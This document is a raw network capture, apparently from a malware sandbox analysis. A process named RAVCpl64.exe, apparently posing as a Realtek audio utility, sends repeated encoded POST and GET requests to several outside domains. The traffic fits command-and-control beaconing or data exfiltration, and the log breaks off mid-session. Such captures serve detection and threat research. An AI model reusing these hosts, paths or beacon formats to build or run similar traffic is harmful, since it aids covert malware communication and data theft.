Jan 9, 2025 16:49:56.550620079 CET	801	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 79 65 34 55 33 64 79 49 63 37 79 66 2f 77 66 34 2b 4f 76 31 6a 70 79 45 70 46 4d 6b 54 38 42 6b 66 55 72 52 4c 32 53 58 51 6f 74 78 56 30 4d 49 2b 4e 79 66 4e 53 68 73 32 49 4a 35 55 62 62 4a 54 2f 2b 63 64 70 77 76 6c 31 42 4e 65 7a 58 58 55 5a 6e 38 49 38 59 49 4e 42 53 78 46 67 66 50 39 38 48 4e 4a 79 75 30 30 6e 34 58 78 45 30 63 6e 55 4e 7a 31 6d 35 65 46 4f 63 65 76 6f 68 2b 71 38 59 42 48 31 6e 54 39 74 61 58 35 6f 56 49 70 75 37 59 51 44 4c 34 6c 34 38 4f 55 46 4f 43 5a 55 61 6e 33 58 36 67 4f 77 64 39 6a 61 32 6c 50 56 49 7a 46 67 3d 3d Data Ascii: lV=ac270/Kc6bxJye4U3dyIc7yf/wf4+Ov1jpyEpFMkT8BkfUrRL2SXQotxV0MI+NyfNShs2IJ5UbbJT/+cdpwvl1BNezXXUZn8I8YINBSxFgfP98HNJyu00n4XxE0cnUNz1m5eFOcevoh+q8YBH1nT9taX5oVIpu7YQDL4l48OUFOCZUan3X6gOwd9ja2lPVIzFg==
Jan 9, 2025 16:49:56.893767118 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:49:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49779	202.95.11.110	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:59.368778944 CET	821	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 7a 2f 6f 55 77 4e 4f 49 61 62 79 65 77 51 66 34 6c 65 76 78 6a 70 2b 45 70 45 49 30 54 4b 70 6b 66 32 7a 52 4b 7a 79 58 54 6f 74 78 4e 45 4d 4e 39 39 79 45 4e 53 6c 6b 32 4a 31 35 55 62 50 4a 54 36 43 63 63 61 59 6f 6b 6c 42 54 66 44 58 56 61 35 6e 38 49 38 59 49 4e 42 58 71 46 67 48 50 39 4d 58 4e 49 51 47 31 72 58 34 59 32 45 30 63 78 6b 4d 36 31 6d 35 73 46 4d 70 4c 76 72 56 2b 71 38 49 42 47 67 62 53 7a 74 61 52 32 49 55 70 68 4e 69 4e 49 78 2f 4e 73 4b 6b 6c 62 6e 44 32 52 69 58 39 71 6c 4f 45 4e 6a 42 50 6e 71 50 4e 4e 58 4a 6f 59 6e 32 61 55 4d 6c 39 4e 53 4b 31 32 65 74 62 2f 39 51 49 4a 4d 41 3d Data Ascii: lV=ac270/Kc6bxJz/oUwNOIabyewQf4levxjp+EpEI0TKpkf2zRKzyXTotxNEMN99yENSlk2J15UbPJT6CccaYoklBTfDXVa5n8I8YINBXqFgHP9MXNIQG1rX4Y2E0cxkM61m5sFMpLvrV+q8IBGgbSztaR2IUphNiNIx/NsKklbnD2RiX9qlOENjBPnqPNNXJoYn2aUMl9NSK12etb/9QIJMA=
Jan 9, 2025 16:49:59.710071087 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:49:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49780	202.95.11.110	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:02.209969997 CET	2578	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 7a 2f 6f 55 77 4e 4f 49 61 62 79 65 77 51 66 34 6c 65 76 78 6a 70 2b 45 70 45 49 30 54 4b 52 6b 65 46 37 52 4b 53 79 58 53 6f 74 78 54 30 4d 4d 39 39 7a 65 4e 57 42 67 32 4a 34 4d 55 59 33 4a 63 38 32 63 56 4c 59 6f 39 56 42 54 61 7a 58 59 55 5a 6e 6c 49 38 49 4d 4e 42 6e 71 46 67 48 50 39 4b 72 4e 49 43 75 31 74 58 34 58 78 45 30 71 6e 55 4e 66 31 6c 4a 57 46 4d 73 77 75 59 4e 2b 71 63 34 42 46 53 7a 53 37 74 61 54 36 6f 55 4c 68 4e 66 64 49 78 7a 72 73 4c 51 44 62 67 66 32 53 45 4b 5a 2f 6d 4b 37 55 54 46 2f 34 75 79 32 45 55 4e 6d 57 46 69 4e 64 38 45 58 43 55 69 69 32 4e 64 4b 72 4e 51 73 66 38 6b 48 73 6e 6b 6d 52 38 6a 76 59 68 4f 58 30 55 31 54 78 68 64 4c 47 6a 33 66 4f 7a 4c 7a 38 77 39 36 34 45 6e 37 4e 48 30 45 37 6f 73 72 77 68 46 53 35 4e 63 66 64 45 47 75 42 48 63 6f 50 52 69 42 6d 52 52 4e 52 6d 77 6b 34 66 4d 64 34 66 4e 79 57 56 62 63 70 69 2f 49 64 4f 4c 2f 43 54 39 77 75 39 30 37 2f 47 38 71 75 49 63 52 64 35 54 48 51 67 58 6b 66 57 65 [TRUNCATED] Data Ascii: lV=ac270/Kc6bxJz/oUwNOIabyewQf4levxjp+EpEI0TKRkeF7RKSyXSotxT0MM99zeNWBg2J4MUY3Jc82cVLYo9VBTazXYUZnlI8IMNBnqFgHP9KrNICu1tX4XxE0qnUNf1lJWFMswuYN+qc4BFSzS7taT6oULhNfdIxzrsLQDbgf2SEKZ/mK7UTF/4uy2EUNmWFiNd8EXCUii2NdKrNQsf8kHsnkmR8jvYhOX0U1TxhdLGj3fOzLz8w964En7NH0E7osrwhFS5NcfdEGuBHcoPRiBmRRNRmwk4fMd4fNyWVbcpi/IdOL/CT9wu907/G8quIcRd5THQgXkfWe/BKw/4DrnNVAFQjPBMg/BxlF/1tBjhCATDrFVhHlGUvzX2Hh/TK0lO29ZQnYpasNSklT48O7mO+ALnzgrrubAguw30yUgsnEPVcLPAEscIkXOyYEQZXiSwd3hUEOZ6tcXsXn0gKyw5D58LyjNxvqMtUD8rCNkAk6DNYr5nfi2h7Iy6A6baKanBxmAml6cljW5R0mpdma+pNbIXgk9+5JXqUeG4nc9cewTpxf+p+07ocQC6VY+zrqeP/ZklU5pJliXegmvpoo3wzlbJ18QDldaQujDlzY0lLDzcQeRYBcJ1g1tTZUIPxt7XUhDhatp8RgQpmNGhTebF98duJbujpnih1X2+FhbDMYDLvIAdDKbtzNEyqNEYlGOfN2MQyJvTqVXk3q7e3qFDim0F4uqavJf6EvhAH0Qmipb9N+crMDGuMewOWpjVmNaxExDRO+6uZvCFx54vcymK7+WbbuEM8icpoM9DTrwpUbLiX+GMVbQao/w6IMQIHvyM3Zhe9AOexoTDdSioXIhra4KwyGkMSTPFS1PPpxMfFp1k/0s9QsThh4wkQuHZQUQjE9ADtNGQSIEmyKYkZ6d+fLaPupyXh0vS2i74iSX28gpoWxXypXqkhdbURuEgzAaOStPYCNYp39kLCMgiYT6orwNqGQQS1og8u4xGVTu1FdGp [TRUNCATED]
Jan 9, 2025 16:50:02.210005999 CET	5392	OUT	Data Raw: 51 56 49 36 41 75 5a 56 52 4e 47 64 64 38 4c 6b 42 74 43 30 72 48 61 47 4c 4c 6d 43 64 61 47 77 41 67 33 4c 72 71 39 44 2f 54 6b 63 65 4e 73 72 4a 65 69 33 6f 61 75 45 4d 50 4d 47 68 2b 58 51 35 76 47 42 50 4a 6d 52 56 78 34 38 38 41 46 6f 4c 46 Data Ascii: QVI6AuZVRNGdd8LkBtC0rHaGLLmCdaGwAg3Lrq9D/TkceNsrJei3oauEMPMGh+XQ5vGBPJmRVx488AFoLFPK8ymwOr2oj//va3lBllwvc9wCON4Pfprl9Rb9ojgVL39F9n9LtOt1clMH5tXjjJ+Y+S2SnQUMSIG567ikMP+8N8sv6cTVBujqW06crNrDabm7u+BMCA+YjGE6MY8NVA6m9jUzsPOdZIVi99SJf7A7qdSEQvZQyCz
Jan 9, 2025 16:50:02.566278934 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:50:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49781	202.95.11.110	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:05.043828011 CET	532	OUT	GET /wbfy/?lV=Xeeb3ImT6ZQQytgHl6ygbKjk3RvUis2KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPQegMjeyq5uNXxHJj0c=&LSbaT=zft4LoBw HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:50:05.566122055 CET	995	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:50:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 33 32 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 42 61 69 64 75 73 70 69 64 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 [TRUNCATED] Data Ascii: 322<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="Baiduspider" content="noindex, nofollow"><title></title> <script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script></head><body style="padding: 0;margin: 0;"><div><script rel="nofollow" src="http://www.zbywl.com/js.js"></script></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49782	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:10.911880016 CET	810	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 62 54 69 68 36 50 48 78 38 5a 66 73 51 56 64 68 6b 78 72 2f 70 34 31 73 64 6b 6e 59 37 42 78 2b 56 44 2f 51 37 64 62 76 39 39 72 30 6e 6e 33 5a 57 52 2f 51 59 48 47 64 66 71 69 38 2f 36 38 4c 74 33 38 30 35 7a 6d 48 39 77 70 66 68 59 32 7a 4f 6e 6d 59 77 2f 61 6a 66 4c 50 63 6f 2f 6e 41 38 4e 31 78 6f 4d 41 43 6a 79 5a 56 7a 50 46 75 4f 64 47 6e 6d 4f 77 2f 45 6a 6d 69 53 35 57 39 30 36 33 67 4d 31 36 41 68 4f 38 70 4d 30 2b 37 44 72 6f 48 41 7a 55 43 78 5a 51 68 76 4a 78 47 6a 38 30 52 65 77 30 53 2f 33 6b 67 4e 76 52 58 39 30 37 33 32 67 3d 3d Data Ascii: lV=r2nTWKLo591VbTih6PHx8ZfsQVdhkxr/p41sdknY7Bx+VD/Q7dbv99r0nn3ZWR/QYHGdfqi8/68Lt3805zmH9wpfhY2zOnmYw/ajfLPco/nA8N1xoMACjyZVzPFuOdGnmOw/EjmiS5W9063gM16AhO8pM0+7DroHAzUCxZQhvJxGj80Rew0S/3kgNvRX90732g==
Jan 9, 2025 16:50:11.048551083 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49783	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:14.596770048 CET	830	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 55 53 53 68 70 2b 48 78 70 70 66 76 56 56 64 68 74 52 71 34 70 34 70 73 64 6c 54 49 37 54 46 2b 57 6a 50 51 36 5a 33 76 38 39 72 30 7a 58 33 41 59 78 2f 48 59 48 4b 56 66 76 43 38 2f 38 51 4c 74 79 51 30 2b 41 2b 49 2b 41 70 64 70 34 32 31 44 48 6d 59 77 2f 61 6a 66 4c 62 6d 6f 2f 76 41 2f 2b 74 78 75 5a 38 42 74 53 5a 61 30 50 46 75 45 39 47 6a 6d 4f 77 42 45 6e 2f 31 53 37 75 39 30 34 76 67 4d 6b 36 44 36 2b 38 6e 52 6b 2b 6f 4d 4f 52 2f 65 41 73 47 78 72 63 42 76 37 56 54 69 71 35 4c 44 43 41 32 38 6b 34 53 4a 66 6f 2f 2f 32 36 73 72 68 51 41 5a 55 63 4b 6c 50 56 46 54 56 2b 32 30 66 71 41 68 61 30 3d Data Ascii: lV=r2nTWKLo591VUSShp+HxppfvVVdhtRq4p4psdlTI7TF+WjPQ6Z3v89r0zX3AYx/HYHKVfvC8/8QLtyQ0+A+I+Apdp421DHmYw/ajfLbmo/vA/+txuZ8BtSZa0PFuE9GjmOwBEn/1S7u904vgMk6D6+8nRk+oMOR/eAsGxrcBv7VTiq5LDCA28k4SJfo//26srhQAZUcKlPVFTV+20fqAha0=
Jan 9, 2025 16:50:14.734087944 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49784	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:17.275460005 CET	2578	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 55 53 53 68 70 2b 48 78 70 70 66 76 56 56 64 68 74 52 71 34 70 34 70 73 64 6c 54 49 37 54 64 2b 57 51 33 51 36 34 33 76 36 4e 72 30 77 58 33 46 59 78 2f 2f 59 44 75 52 66 76 65 73 2f 2f 6b 4c 69 30 45 30 37 78 2b 49 6c 51 70 64 32 6f 32 77 4f 6e 6d 33 77 35 36 2f 66 4c 4c 6d 6f 2f 76 41 2f 34 42 78 34 38 41 42 76 53 5a 56 7a 50 46 79 4f 64 47 50 6d 4b 6b 33 45 6e 71 49 53 50 53 39 30 59 2f 67 4a 58 53 44 32 2b 39 42 43 55 2f 31 4d 4f 56 67 65 41 68 2f 78 71 6f 37 76 38 4a 54 67 64 67 4f 55 42 74 74 6c 55 6f 43 55 38 6b 35 72 58 43 46 6a 44 51 38 49 6e 49 6c 69 70 5a 58 64 47 61 71 70 4b 75 44 79 2f 46 47 77 7a 43 52 46 4b 30 39 42 6e 46 34 75 73 4a 4b 67 6c 4e 54 75 49 69 4b 54 58 70 33 45 44 79 31 49 73 46 34 63 77 6e 4b 53 70 53 77 2b 71 66 44 61 59 38 4f 7a 49 66 67 50 36 2f 6b 6f 51 63 58 56 4c 72 4c 50 44 6c 30 65 73 64 48 79 38 52 45 78 77 6e 37 6b 41 70 36 6a 33 39 48 76 37 55 44 47 36 4e 61 6c 63 5a 6c 4a 31 4a 77 69 44 74 7a 48 33 2b 6a 54 65 68 [TRUNCATED] Data Ascii: lV=r2nTWKLo591VUSShp+HxppfvVVdhtRq4p4psdlTI7Td+WQ3Q643v6Nr0wX3FYx//YDuRfves//kLi0E07x+IlQpd2o2wOnm3w56/fLLmo/vA/4Bx48ABvSZVzPFyOdGPmKk3EnqISPS90Y/gJXSD2+9BCU/1MOVgeAh/xqo7v8JTgdgOUBttlUoCU8k5rXCFjDQ8InIlipZXdGaqpKuDy/FGwzCRFK09BnF4usJKglNTuIiKTXp3EDy1IsF4cwnKSpSw+qfDaY8OzIfgP6/koQcXVLrLPDl0esdHy8RExwn7kAp6j39Hv7UDG6NalcZlJ1JwiDtzH3+jTeh5zqsAUZmAQQfNT/YXnvXyc/VSMYgbkScgdoJzVT5h1tswylVf0rBm1zzs5BnQ6joVA8LQPSjX5oxjG+9XkuHrmDWcGIsnvI4geV0eclR+Mif9RFzV866nw/nK/hAwQD05iPK8TBwKFLA2Jdc3IoymcouxkztrL8z2CqrpEaLQwVVW3PsKtbISOmXEsbWxi7TGsdkuMiqKsXjAQJCpnphT3aywQ0gF9VMmfMyIXm11UG/VCggZSpvg4ErsL/e1jNou0b/r/Fzla3ORo5V8CW76xQUoJKCqQ++oEM8ud3DLTcLqiTsGkf5kiu6AKCLT1JO6G8QGd5tm7RHx/V7PjmoBBlGMhe8qDHE0yy0zY8dZH8ys8RfMXca7MAOSWzIbOs8b6Mq2RcIRImPl8Vp+pE+LvwPPPNkpM/0oI2CF66D4bAXFZZjS/kL1RkNHr8l7EuiScSkCjhWOwHBdVJy1n3MwGNWbmNNXxGVbnJvEZq3VD5Eg8Aa4mK3B8f7ZWBq8Qpus0XAds0zxFrrbHVmqvsvpFP+mQ2l/Jc3kHBxvIOsNF5vWTQV5dwaAVL7vCRvTXbz3AWsksySGyRlxTVRv639wJGqsQAfnFSRi/XwGdfoAFaaPVfr3gnwjwXqkdMr75D6elTx+HbgmeksOu846HubUcoCkV312Uqn5N [TRUNCATED]
Jan 9, 2025 16:50:17.275537014 CET	5401	OUT	Data Raw: 36 4a 63 77 41 75 34 64 70 30 32 75 31 56 4c 4a 46 79 2b 37 48 69 54 47 64 68 37 76 4f 46 66 33 47 37 56 69 35 56 68 54 6b 64 67 46 35 39 42 37 4b 30 54 43 79 4b 71 73 45 42 57 68 53 68 77 35 57 56 48 33 4d 57 5a 50 53 57 73 55 38 50 78 67 6d 6b Data Ascii: 6JcwAu4dp02u1VLJFy+7HiTGdh7vOFf3G7Vi5VhTkdgF59B7K0TCyKqsEBWhShw5WVH3MWZPSWsU8PxgmkTxyhA6pTmoK3ADfYHB9hemsPRjqtg7pZIJtHQa2+GKh2vROXlLqd/ZQ8hjwbjWf72Iu1GTXfBqoQ7p1pzItAxu7u5EERYHHE2Xf02khSecW+b0yUzUhMMbx7QdkSnRQvmMOJdoJUcK2FTpk+XjlDdeT7GoeWz1DAh
Jan 9, 2025 16:50:17.419385910 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49785	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:19.942708015 CET	535	OUT	GET /kgjj/?lV=m0PzV+DL9MdhQie6uq/amrvVR35Q8Tf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZYXkuMLBntBAotkskh0=&LSbaT=zft4LoBw HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:50:20.090145111 CET	374	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:50:20 GMT content-length: 253 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6c 56 3d 6d 30 50 7a 56 2b 44 4c 39 4d 64 68 51 69 65 36 75 71 2f 61 6d 72 76 56 52 33 35 51 38 54 66 2f 6c 6f 74 59 55 58 2b 41 68 6a 4d 6f 51 41 37 46 33 4b 33 46 6a 50 76 38 6b 56 2f 51 42 77 2f 50 64 55 2f 4f 58 4d 2f 72 69 2f 49 62 72 46 59 47 34 78 79 70 69 41 42 77 6e 61 53 57 52 45 47 55 33 75 75 37 5a 59 58 6b 75 4d 4c 42 6e 74 42 41 6f 74 6b 73 6b 68 30 3d 26 4c 53 62 61 54 3d 7a 66 74 34 4c 6f 42 77 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?lV=m0PzV+DL9MdhQie6uq/amrvVR35Q8Tf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZYXkuMLBntBAotkskh0=&LSbaT=zft4LoBw"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49786	103.106.67.112	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:25.494653940 CET	795	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 31 75 48 2f 38 50 70 72 50 6b 36 49 7a 6c 42 37 32 78 71 35 53 7a 70 78 31 6b 42 31 4e 75 58 58 52 42 49 7a 78 64 52 31 38 77 6d 67 6a 57 45 48 75 36 4d 73 4f 5a 43 39 6c 41 34 5a 67 56 39 56 31 58 6f 36 52 54 36 54 54 2f 58 51 5a 43 4d 62 2b 2b 41 71 67 50 4e 59 30 75 76 41 41 6f 65 52 75 54 4c 63 50 54 2b 38 61 77 44 4f 63 52 78 59 69 6d 44 54 47 43 6d 77 4a 4e 79 52 53 6a 45 6b 36 78 4f 66 35 44 73 72 6e 6e 79 6a 75 59 4d 36 6f 36 7a 6e 38 78 33 43 4d 4d 30 33 58 34 39 61 59 69 78 4a 68 52 66 70 71 2f 6f 4e 75 4b 56 74 69 50 65 2f 51 3d 3d Data Ascii: lV=rJkYOGdVVG3na1uH/8PprPk6IzlB72xq5Szpx1kB1NuXXRBIzxdR18wmgjWEHu6MsOZC9lA4ZgV9V1Xo6RT6TT/XQZCMb++AqgPNY0uvAAoeRuTLcPT+8awDOcRxYimDTGCmwJNyRSjEk6xOf5DsrnnyjuYM6o6zn8x3CMM03X49aYixJhRfpq/oNuKVtiPe/Q==
Jan 9, 2025 16:50:25.749278069 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:50:25 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49787	103.106.67.112	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
